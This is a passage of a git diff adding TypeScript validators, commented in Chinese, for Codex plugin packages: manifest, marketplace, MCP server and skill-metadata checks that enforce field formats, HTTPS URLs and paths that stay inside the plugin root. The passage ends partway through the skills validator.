b/packages/platforms/codex/src/package/validation/manifest.ts new file mode 100644 index 0000000..fae1dff --- /dev/null +++ b/packages/platforms/codex/src/package/validation/manifest.ts @@ -0,0 +1,108 @@ +/** Codex Plugin Manifest validator。 */ +import { isCodexHttpsUrl } from '../protocol.js'; +import { validateInterface } from './assets.js'; +import { validateHookFile, validateHooks } from './hooks.js'; +import { validateMcpFile } from './mcp.js'; +import { validateSkills } from './skills.js'; +import { + isRecord, + isSafePluginReference, + referenceExists, + report, + scopedAssets, + validateReference, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex Plugin Manifest 允许出现的当前官方根字段。 */ +const PLUGIN_FIELDS = new Set([ + 'id', 'name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords', + 'skills', 'mcpServers', 'apps', 'hooks', 'interface', +]); + +/** Codex Plugin 名称允许使用的官方 ASCII 规则。 */ +const PLUGIN_NAME_PATTERN = /^[\dA-Za-z][\dA-Za-z_-]*$/; + +/** 保守验证完整 Semantic Version 的规则。 */ +const SEMVER_PATTERN = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?(?:\+[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/; + +/** + * 校验 Plugin Manifest 字段、Skill 根和 Extension 引用。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param manifest 已解析的 Codex Plugin Manifest。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + */ +export async function validatePluginManifest( + context: PlatformValidateContext, + manifest: JsonRecord, + pluginRoot = '', +): Promise { + /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ + const assets = scopedAssets(context, pluginRoot); + for (const field of Object.keys(manifest)) { + if (!PLUGIN_FIELDS.has(field)) + report(context, 'CODEX_MANIFEST_FIELD_UNKNOWN', `Unknown Codex Plugin field "${field}".`, [field]); + } + /** Codex Plugin Manifest 的三个稳定必填字符串字段。 */ + const required = ['name', 'version', 'description'] as const; + for (const field of required) { + if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) + report(context, 'CODEX_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.name === 'string' + && (manifest.name.length > 64 || !PLUGIN_NAME_PATTERN.test(manifest.name))) { + report(context, 'CODEX_MANIFEST_NAME_INVALID', 'name must use the official ASCII Plugin name format and contain at most 64 characters.', ['name']); + } + if (typeof manifest.version === 'string' + && (manifest.version.length > 64 || !SEMVER_PATTERN.test(manifest.version))) { + report(context, 'CODEX_MANIFEST_VERSION_INVALID', 'version must be a semantic version.', ['version']); + } + if (typeof manifest.description === 'string' && manifest.description.length > 1_024) + report(context, 'CODEX_MANIFEST_DESCRIPTION_INVALID', 'description must contain at most 1024 characters.', ['description']); + if (manifest.author !== undefined) { + /** 通过对象检查后的作者字段。 */ + const author = isRecord(manifest.author) ? manifest.author : undefined; + if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { + report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); + } else { + for (const field of ['email', 'url'] as const) { + if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) + report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); + } + if (typeof author.url === 'string' && (!isCodexHttpsUrl(author.url) || author.url.length > 2_048)) + report(context, 'CODEX_MANIFEST_AUTHOR_URL_INVALID', 'author.url must be an HTTPS URL without credentials.', ['author', 'url']); + } + } + for (const field of ['homepage', 'repository', 'license'] as const) { + if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) + report(context, 'CODEX_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.homepage === 'string' && (!isCodexHttpsUrl(manifest.homepage) || manifest.homepage.length > 2_048)) + report(context, 'CODEX_MANIFEST_HOMEPAGE_INVALID', 'homepage must be an HTTPS URL without credentials.', ['homepage']); + if (manifest.keywords !== undefined + && (!Array.isArray(manifest.keywords) + || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) + || new Set(manifest.keywords).size !== manifest.keywords.length)) { + report(context, 'CODEX_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); + } + if (manifest.skills !== './skills/') + report(context, 'CODEX_SKILLS_PATH_INVALID', 'skills must point to the root ./skills/ directory.', ['skills']); + await validateSkills(context, assets, pluginRoot, typeof manifest.name === 'string' ? manifest.name : undefined); + if (manifest.interface !== undefined) + await validateInterface(context, assets, pluginRoot, manifest.interface); + if (manifest.mcpServers !== undefined) { + if (typeof manifest.mcpServers !== 'string') { + report(context, 'CODEX_MCP_REFERENCE_INVALID', 'mcpServers must be a Plugin-root file path.', ['mcpServers']); + } else { + validateReference(context, assets, 'mcpServers', manifest.mcpServers, ['mcpServers']); + if (isSafePluginReference(manifest.mcpServers) && referenceExists(assets, manifest.mcpServers)) + await validateMcpFile(context, pluginRoot, manifest.mcpServers, ['mcpServers']); + } + } + if (manifest.hooks !== undefined) + await validateHooks(context, assets, pluginRoot, manifest.hooks); + else if (assets.has('hooks/hooks.json')) + await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); +} diff --git a/packages/platforms/codex/src/package/validation/marketplace.ts b/packages/platforms/codex/src/package/validation/marketplace.ts new file mode 100644 index 0000000..ae69660 --- /dev/null +++ b/packages/platforms/codex/src/package/validation/marketplace.ts @@ -0,0 +1,110 @@ +/** Codex Marketplace Distribution validator。 */ +import { + CODEX_CATEGORIES, + CODEX_MARKETPLACE_INSTALLATIONS, +} from '../protocol.js'; +import { PLUGIN_MANIFEST_PATH } from '../manifest.js'; +import { validatePluginManifest } from './manifest.js'; +import { + isRecord, + readJson, + report, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex Marketplace 根清单允许出现的字段。 */ +const MARKETPLACE_FIELDS = new Set(['name', 'interface', 'plugins']); + +/** Codex Marketplace 每个 Plugin 条目允许出现的字段。 */ +const MARKETPLACE_PLUGIN_FIELDS = new Set(['name', 'source', 'policy', 'category']); + +/** Codex Marketplace 当前支持的安装策略。 */ +const INSTALLATION_POLICIES = new Set(CODEX_MARKETPLACE_INSTALLATIONS); + +/** Codex 官方插件目录当前接受的分类。 */ +const CATEGORIES = new Set(CODEX_CATEGORIES); + +/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ +const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** + * 校验 Marketplace 根清单和自包含 Plugin 来源。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param marketplace 已解析的 Marketplace 清单。 + */ +export async function validateMarketplace( + context: PlatformValidateContext, + marketplace: JsonRecord, +): Promise { + for (const field of Object.keys(marketplace)) { + if (!MARKETPLACE_FIELDS.has(field)) + report(context, 'CODEX_MARKETPLACE_FIELD_UNKNOWN', `Unknown Codex Marketplace field "${field}".`, [field]); + } + if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) + report(context, 'CODEX_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); + if (!isRecord(marketplace.interface) + || typeof marketplace.interface.displayName !== 'string' + || marketplace.interface.displayName.trim().length === 0) { + report(context, 'CODEX_MARKETPLACE_INTERFACE_REQUIRED', 'Marketplace interface.displayName must be present.', ['interface', 'displayName']); + } + if (!Array.isArray(marketplace.plugins) + || marketplace.plugins.length === 0 + || marketplace.plugins.some(entry => !isRecord(entry))) { + report(context, 'CODEX_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); + return; + } + /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ + const sources = new Set(); + /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ + const names = new Set(); + /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ + for (const [index, entryValue] of marketplace.plugins.entries()) { + /** plugins 已经整体通过对象检查后的当前条目。 */ + const entry = entryValue as JsonRecord; + for (const field of Object.keys(entry)) { + if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) + report(context, 'CODEX_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); + } + /** 已通过对象形态检查的本地来源候选。 */ + const source = isRecord(entry.source) ? entry.source : undefined; + /** 当前来源中的本地路径候选。 */ + const sourcePath = source?.path; + /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ + const sourceValid = source?.source === 'local' + && typeof sourcePath === 'string' + && (marketplace.plugins.length === 1 ? sourcePath === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(sourcePath)); + if (!sourceValid) { + report(context, 'CODEX_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be local "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); + continue; + } + if (sources.has(sourcePath)) + report(context, 'CODEX_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source', 'path']); + sources.add(sourcePath); + /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ + const pluginRoot = sourcePath === './' ? '' : sourcePath.slice(2); + /** 当前来源根内必须存在且可解析的 Codex Plugin Manifest。 */ + const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); + if (plugin === undefined) + continue; + await validatePluginManifest(context, plugin, pluginRoot); + if (entry.name !== plugin.name) + report(context, 'CODEX_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin name must match its bundled Plugin Manifest.', ['plugins', index, 'name']); + if (typeof entry.name === 'string') { + /** Marketplace 名称使用 Plugin Manifest 的稳定选择器值。 */ + const name = entry.name; + if (names.has(name)) + report(context, 'CODEX_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); + names.add(name); + } + if (!isRecord(entry.policy) + || typeof entry.policy.installation !== 'string' + || !INSTALLATION_POLICIES.has(entry.policy.installation) + || entry.policy.authentication !== 'ON_INSTALL') { + report(context, 'CODEX_MARKETPLACE_POLICY_INVALID', 'Marketplace policy must include a supported installation value and ON_INSTALL authentication.', ['plugins', index, 'policy']); + } + if (typeof entry.category !== 'string' || !CATEGORIES.has(entry.category)) + report(context, 'CODEX_MARKETPLACE_CATEGORY_INVALID', 'Marketplace category must be an official Plugin category.', ['plugins', index, 'category']); + } +} diff --git a/packages/platforms/codex/src/package/validation/mcp.ts b/packages/platforms/codex/src/package/validation/mcp.ts new file mode 100644 index 0000000..eb84137 --- /dev/null +++ b/packages/platforms/codex/src/package/validation/mcp.ts @@ -0,0 +1,127 @@ +/** Codex MCP wire contract validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { + isRecord, + report, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex 本地 stdio MCP descriptor 允许的字段。 */ +const MCP_STDIO_FIELDS = new Set(['command', 'args', 'cwd', 'env', 'env_vars']); + +/** Codex 远程 HTTP MCP descriptor 允许的字段。 */ +const MCP_HTTP_FIELDS = new Set([ + 'url', 'bearer_token_env_var', 'scopes', 'http_headers', 'env_http_headers', +]); + +/** Codex 运行时环境变量名称的保守规则。 */ +const ENV_NAME_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; + +/** MCP Server key 使用 framework 稳定的 lowercase-kebab 规则。 */ +const SKILL_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 校验 Codex MCP 的字符串键值映射。 */ +function validateMcpStringMap( + context: PlatformValidateContext, + value: JsonValue | undefined, + code: string, + label: string, + fieldPath: readonly (string | number)[], + environmentValues = false, +): void { + if (value !== undefined && (!isRecord(value) || Object.entries(value).some(([key, entry]) => + key.trim().length === 0 || typeof entry !== 'string' || (environmentValues && !ENV_NAME_PATTERN.test(entry))))) { + report(context, code, `${label} must map non-empty names to valid string values.`, fieldPath); + } +} + +/** 校验 Codex 最终 `.mcp.json` 中的完整 Server 映射。 */ +function validateMcpServers(context: PlatformValidateContext, value: JsonValue, fieldPath: readonly (string | number)[]): void { + if (!isRecord(value)) { + report(context, 'CODEX_MCP_SERVERS_INVALID', 'Codex MCP config must contain a Server object mapping.', fieldPath); + return; + } + for (const [id, candidate] of Object.entries(value)) { + /** 当前 Server 在最终配置中的字段路径。 */ + const serverPath = [...fieldPath, id]; + if (!SKILL_ID_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'CODEX_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + /** url/command 必须恰好选择一种传输。 */ + const remote = Object.hasOwn(candidate, 'url'); + /** command 表示 Plugin-local stdio 传输。 */ + const local = Object.hasOwn(candidate, 'command'); + if (remote === local) { + report(context, 'CODEX_MCP_TRANSPORT_INVALID', 'MCP Server must declare exactly one of url or command.', serverPath); + continue; + } + /** 当前传输唯一允许的字段集合。 */ + const fields = remote ? MCP_HTTP_FIELDS : MCP_STDIO_FIELDS; + for (const field of Object.keys(candidate)) { + if (!fields.has(field)) + report(context, 'CODEX_MCP_FIELD_UNKNOWN', `Unknown Codex MCP field "${field}".`, [...serverPath, field]); + } + if (local) { + if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) + report(context, 'CODEX_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); + if (candidate.args !== undefined + && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CODEX_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); + } + if (candidate.cwd !== undefined && candidate.cwd !== '.') + report(context, 'CODEX_MCP_CWD_INVALID', 'Plugin stdio MCP cwd must be the Plugin root ".".', [...serverPath, 'cwd']); + validateMcpStringMap(context, candidate.env, 'CODEX_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); + if (candidate.env_vars !== undefined + && (!Array.isArray(candidate.env_vars) || candidate.env_vars.some(variable => typeof variable !== 'string' || !ENV_NAME_PATTERN.test(variable)) + || new Set(candidate.env_vars).size !== candidate.env_vars.length)) { + report(context, 'CODEX_MCP_ENV_VARS_INVALID', 'stdio MCP env_vars must contain unique environment names.', [...serverPath, 'env_vars']); + } + continue; + } + if (typeof candidate.url !== 'string') { + report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** Codex remote MCP 不接受 URL 内联凭据。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + if (candidate.bearer_token_env_var !== undefined + && (typeof candidate.bearer_token_env_var !== 'string' || !ENV_NAME_PATTERN.test(candidate.bearer_token_env_var))) { + report(context, 'CODEX_MCP_BEARER_INVALID', 'bearer_token_env_var must be an environment name.', [...serverPath, 'bearer_token_env_var']); + } + if (candidate.scopes !== undefined + && (!Array.isArray(candidate.scopes) || candidate.scopes.length === 0 + || candidate.scopes.some(scope => typeof scope !== 'string' || scope.trim().length === 0) + || new Set(candidate.scopes).size !== candidate.scopes.length)) { + report(context, 'CODEX_MCP_SCOPES_INVALID', 'MCP scopes must contain unique non-empty strings.', [...serverPath, 'scopes']); + } + validateMcpStringMap(context, candidate.http_headers, 'CODEX_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'http_headers']); + validateMcpStringMap(context, candidate.env_http_headers, 'CODEX_MCP_ENV_HEADERS_INVALID', 'HTTP MCP env headers', [...serverPath, 'env_http_headers'], true); + } +} + +/** 读取并校验 Codex Plugin 根内被引用的 `.mcp.json`。 */ +export async function validateMcpFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** MCP 配置引用相对于当前 Plugin 根解析。 */ + const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** Codex `.mcp.json` 顶层直接是 Server 映射。 */ + const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); + validateMcpServers(context, value as JsonValue, fieldPath); + } catch { + report(context, 'CODEX_MCP_CONFIG_READ_FAILED', 'mcpServers reference must contain valid JSON.', fieldPath); + } +} diff --git a/packages/platforms/codex/src/package/validation/shared.ts b/packages/platforms/codex/src/package/validation/shared.ts new file mode 100644 index 0000000..ccd687a --- /dev/null +++ b/packages/platforms/codex/src/package/validation/shared.ts @@ -0,0 +1,181 @@ +/** Codex candidate validator 共用的只读边界。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; +import { parseDocument } from 'yaml'; + +/** Codex validator 只消费 SDK 的最终 Package candidate Context。 */ +export type PlatformValidateContext = ValidatePackageContext; + +/** JSON 对象的运行时可索引类型。 */ +export type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知值。 + * @returns 可以按字段读取时返回 true。 + */ +export function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Codex 候选校验错误。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + * @param fieldPath 可选的清单字段位置。 + */ +export function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.diagnostics.report({ + code, + severity: 'error', + message, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** + * 从候选安装根读取并解析 JSON 文件。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assetPath 候选根内的规范 Asset 路径。 + * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 + */ +export async function readJson( + context: PlatformValidateContext, + assetPath: string, +): Promise { + try { + /** 从 Core 已安全物化的候选根读取清单文本。 */ + const source = await fs.readFile(path.join(context.candidate.root, assetPath), 'utf8'); + /** JSON.parse 的未知结果仍需验证顶层对象形态。 */ + const value: unknown = JSON.parse(source); + if (!isRecord(value)) { + report(context, 'CODEX_MANIFEST_OBJECT_REQUIRED', `${assetPath} must contain a JSON object.`); + return undefined; + } + return value; + } catch { + report(context, 'CODEX_MANIFEST_READ_FAILED', `${assetPath} must be present and contain valid JSON.`); + return undefined; + } +} + +/** + * 解析 YAML 并要求顶层为普通映射。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param source 待解析的 YAML 文本。 + * @param assetPath 用于稳定诊断的相对 Asset 路径。 + * @returns 无语法错误的 JSON 兼容对象,否则返回 undefined。 + */ +export function parseYamlObject( + context: PlatformValidateContext, + source: string, + assetPath: string, +): JsonRecord | undefined { + try { + /** 保留 YAML parser errors 以拒绝重复键和其他不规范输入。 */ + const document = parseDocument(source, { uniqueKeys: true }); + if (document.errors.length > 0) + throw new Error('Malformed YAML.'); + /** YAML 文档转换后的未知顶层值。 */ + const value: unknown = document.toJSON(); + if (!isRecord(value)) { + report(context, 'CODEX_YAML_OBJECT_REQUIRED', `${assetPath} must contain a YAML mapping.`); + return undefined; + } + return value; + } catch { + report(context, 'CODEX_YAML_INVALID', `${assetPath} must contain valid YAML.`); + return undefined; + } +} + +/** + * 判断清单路径引用是否严格位于当前 Plugin 安装根。 + * + * @param reference Codex Manifest 中的相对路径。 + * @returns 路径使用 `./`、不逃逸且不指向根本身时返回 true。 + */ +export function isSafePluginReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) + return false; + /** 去掉协议前缀后执行 POSIX 规范化的路径片段。 */ + const relative = reference.slice(2); + /** 规范化路径用于拒绝空引用和父目录逃逸。 */ + const normalized = path.posix.normalize(relative); + return relative.length > 0 + && normalized !== '.' + && normalized !== '..' + && !normalized.startsWith('../') + && !path.posix.isAbsolute(normalized); +} + +/** + * 判断 Asset 集合是否包含被引用文件或目录。 + * + * @param assets 当前 Package 的规范路径集合。 + * @param reference 已通过安全规则验证的 Manifest 引用。 + * @returns 精确文件或目录前缀存在时返回 true。 + */ +export function referenceExists(assets: ReadonlySet, reference: string): boolean { + /** 清单引用去掉 `./` 和结尾斜线后的 Asset 路径。 */ + const target = reference.slice(2).replace(/\/+$/u, ''); + if (assets.has(target)) + return true; + for (const asset of assets) { + if (asset.startsWith(`${target}/`)) + return true; + } + return false; +} + +/** + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 + * @returns 去掉 Plugin 根前缀后的 Asset 路径集合。 + */ +export function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { + /** 根 Plugin 不需要过滤或裁剪路径。 */ + if (pluginRoot === '') + return new Set(context.candidate.unit.assets.map(asset => asset.path)); + /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ + const prefix = `${pluginRoot}/`; + return new Set(context.candidate.unit.assets + .filter(asset => asset.path.startsWith(prefix)) + .map(asset => asset.path.slice(prefix.length))); +} + +/** + * 校验单个 Manifest 路径的安全性与存在性。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param field 当前引用所属字段。 + * @param reference 待校验路径。 + * @param fieldPath 精确诊断位置。 + */ +export function validateReference( + context: PlatformValidateContext, + assets: ReadonlySet, + field: string, + reference: string, + fieldPath: readonly (string | number)[], +): void { + if (!isSafePluginReference(reference)) { + report(context, 'CODEX_MANIFEST_REFERENCE_UNSAFE', `${field} must start with ./ and stay inside the Plugin root.`, fieldPath); + } else if (!referenceExists(assets, reference)) { + report(context, 'CODEX_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); + } +} diff --git a/packages/platforms/codex/src/package/validation/skills.ts b/packages/platforms/codex/src/package/validation/skills.ts new file mode 100644 index 0000000..4240e5d --- /dev/null +++ b/packages/platforms/codex/src/package/validation/skills.ts @@ -0,0 +1,272 @@ +/** Codex Skill Markdown 与 agents/openai.yaml validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { CODEX_BRAND_COLOR_PATTERN, CODEX_SKILL_PRODUCTS } from '../protocol.js'; +import { + isRecord, + isSafePluginReference, + parseYamlObject, + report, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex Skill `agents/openai.yaml` 允许出现的根字段。 */ +const SKILL_METADATA_FIELDS = new Set(['interface', 'policy', 'dependencies']); + +/** Codex Skill 元数据 `interface` 允许出现的 snake_case 字段。 */ +const SKILL_INTERFACE_FIELDS = new Set([ + 'display_name', 'short_description', 'icon_small', 'icon_large', 'brand_color', 'default_prompt', +]); + +/** + * 按 UTF-16 code unit 比较 Codex Skill ID,不依赖宿主 locale/ICU。 + * + * @param left 左侧 ID。 + * @param right 右侧 ID。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + +/** Codex Skill 元数据 `policy` 允许出现的字段。 */ +const SKILL_POLICY_FIELDS = new Set(['products', 'allow_implicit_invocation']); + +/** Codex Skill 元数据支持的产品范围。 */ +const SKILL_PRODUCTS = new Set(CODEX_SKILL_PRODUCTS); + +/** Canonical 与 fallback Skill 最终目录使用的小写 kebab-case 规则。 */ +const SKILL_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** + * 校验 Skill 元数据中的相对资源引用。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param skillId 当前 Skill 的最终目录 ID。 + * @param field 元数据资源字段名。 + * @param reference 相对于 Skill 根的资源路径。 + */ +function validateSkillAssetReference( + context: PlatformValidateContext, + assets: ReadonlySet, + skillId: string, + field: string, + reference: string, +): void { + /** Skill 资源遵循同一 `./` 安全规则,但解析基准是当前 Skill 根。 */ + if (!isSafePluginReference(reference)) { + report(context, 'CODEX_SKILL_ASSET_UNSAFE', `${field} must start with ./ and stay inside the Skill root.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); + return; + } + /** Skill 相对引用转换后的完整 Asset 路径。 */ + const assetPath = `skills/${skillId}/${reference.slice(2)}`; + if (!assets.has(assetPath)) { + report(context, 'CODEX_SKILL_ASSET_MISSING', `${field} references a missing Skill asset.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); + } +} + +/** + * 校验一个 Skill 的 `agents/openai.yaml` 官方结构。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param skillId 当前 Skill 的最终目录 ID。 + */ +async function validateSkillMetadata( + context: PlatformValidateContext, + assets: ReadonlySet, + pluginRoot: string, + skillId: string, +): Promise { + /** 当前 Skill 元数据的固定 Asset 路径。 */ + const metadataPath = `skills/${skillId}/agents/openai.yaml`; + if (!assets.has(metadataPath)) + return; + try { + /** 从已物化候选读取 UTF-8 Skill 元数据。 */ + const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, metadataPath), 'utf8'); + /** YAML 顶层必须为可验证的映射。 */ + const metadata = parseYamlObject(context, source, metadataPath); + if (metadata === undefined) + return; + for (const field of Object.keys(metadata)) { + if (!SKILL_METADATA_FIELDS.has(field)) + report(context, 'CODEX_SKILL_METADATA_FIELD_UNKNOWN', `Unknown ${metadataPath} field "${field}".`); + } + if (!isRecord(metadata.interface)) { + report(context, 'CODEX_SKILL_INTERFACE_REQUIRED', `${metadataPath} must contain an interface mapping.`); + return; + } + /** Skill interface 中已经通过对象校验的字段。 */ + const skillInterface = metadata.interface; + for (const field of Object.keys(skillInterface)) { + if (!SKILL_INTERFACE_FIELDS.has(field)) + report(context, 'CODEX_SKILL_INTERFACE_FIELD_UNKNOWN', `Unknown Skill interface field "${field}".`); + } + /** Skill 元数据存在时必须同时提供的两个展示字段。 */ + for (const field of ['display_name', 'short_description'] as const) { + if (typeof skillInterface[field] !== 'string' || skillInterface[field].trim().length === 0) + report(context, 'CODEX_SKILL_INTERFACE_FIELD_REQUIRED', `Skill interface.${field} must be a non-empty string.`); + } + for (const field of ['icon_small', 'icon_large'] as const) { + /** 当前可选 Skill 图片引用。 */ + const candidate = skillInterface[field]; + if (candidate !== undefined) { + if (typeof candidate !== 'string' || candidate.trim().length === 0) + report(context, 'CODEX_SKILL_ASSET_INVALID', `Skill interface.${field} must be a non-empty path.`); + else + validateSkillAssetReference(context, assets, skillId, field, candidate); + } + } + if (skillInterface.brand_color !== undefined + && (typeof skillInterface.brand_color !== 'string' || !CODEX_BRAND_COLOR_PATTERN.test(skillInterface.brand_color))) { + report(context, 'CODEX_SKILL_BRAND_COLOR_INVALID', 'Skill interface.brand_color must be a six-digit hexadecimal color.'); + } + if (skillInterface.default_prompt !== undefined + && (typeof skillInterface.default_prompt !== 'string' || skillInterface.default_prompt.trim().length === 0)) { + report(context, 'CODEX_SKILL_DEFAULT_PROMPT_INVALID', 'Skill interface.default_prompt must be a non-empty string.'); + } + if (metadata.policy !== undefined) { + if (!isRecord(metadata.policy)) { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy must be a YAML mapping.'); + } else { + for (const field of Object.keys(metadata.policy)) { + if (!SKILL_POLICY_FIELDS.has(field)) + report(context, 'CODEX_SKILL_POLICY_FIELD_UNKNOWN', `Unknown Skill policy field "${field}".`); + } + if (metadata.policy.allow_implicit_invocation !== undefined + && typeof metadata.policy.allow_implicit_invocation !== 'boolean') { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.allow_implicit_invocation must be a boolean.'); + } + if (metadata.policy.products !== undefined + && (!Array.isArray(metadata.policy.products) + || metadata.policy.products.length === 0 + || metadata.policy.products.some(product => typeof product !== 'string' || !SKILL_PRODUCTS.has(product)) + || new Set(metadata.policy.products).size !== metadata.policy.products.length)) { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.products must contain CHAT, CODEX, or both without duplicates.'); + } + } + } + if (metadata.dependencies !== undefined) { + if (!isRecord(metadata.dependencies) + || Object.keys(metadata.dependencies).some(field => field !== 'tools') + || !Array.isArray(metadata.dependencies.tools)) { + report(context, 'CODEX_SKILL_DEPENDENCIES_INVALID', 'Skill dependencies may contain only a tools array.'); + } + } + } catch { + report(context, 'CODEX_SKILL_METADATA_READ_FAILED', `${metadataPath} must be readable UTF-8 YAML.`); + } +} + +/** + * 校验一个最终 Skill 的 Markdown、frontmatter、正文与可选元数据。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param pluginName 当前 Plugin 的稳定机器名称。 + * @param skillId 当前 Skill 的最终目录 ID。 + * @param names 已验证 Skill frontmatter 名称的全局索引。 + */ +async function validateSkill( + context: PlatformValidateContext, + assets: ReadonlySet, + pluginRoot: string, + pluginName: string | undefined, + skillId: string, + names: Set, +): Promise { + /** 当前 Skill Manifest 的固定 Asset 路径。 */ + const manifestPath = 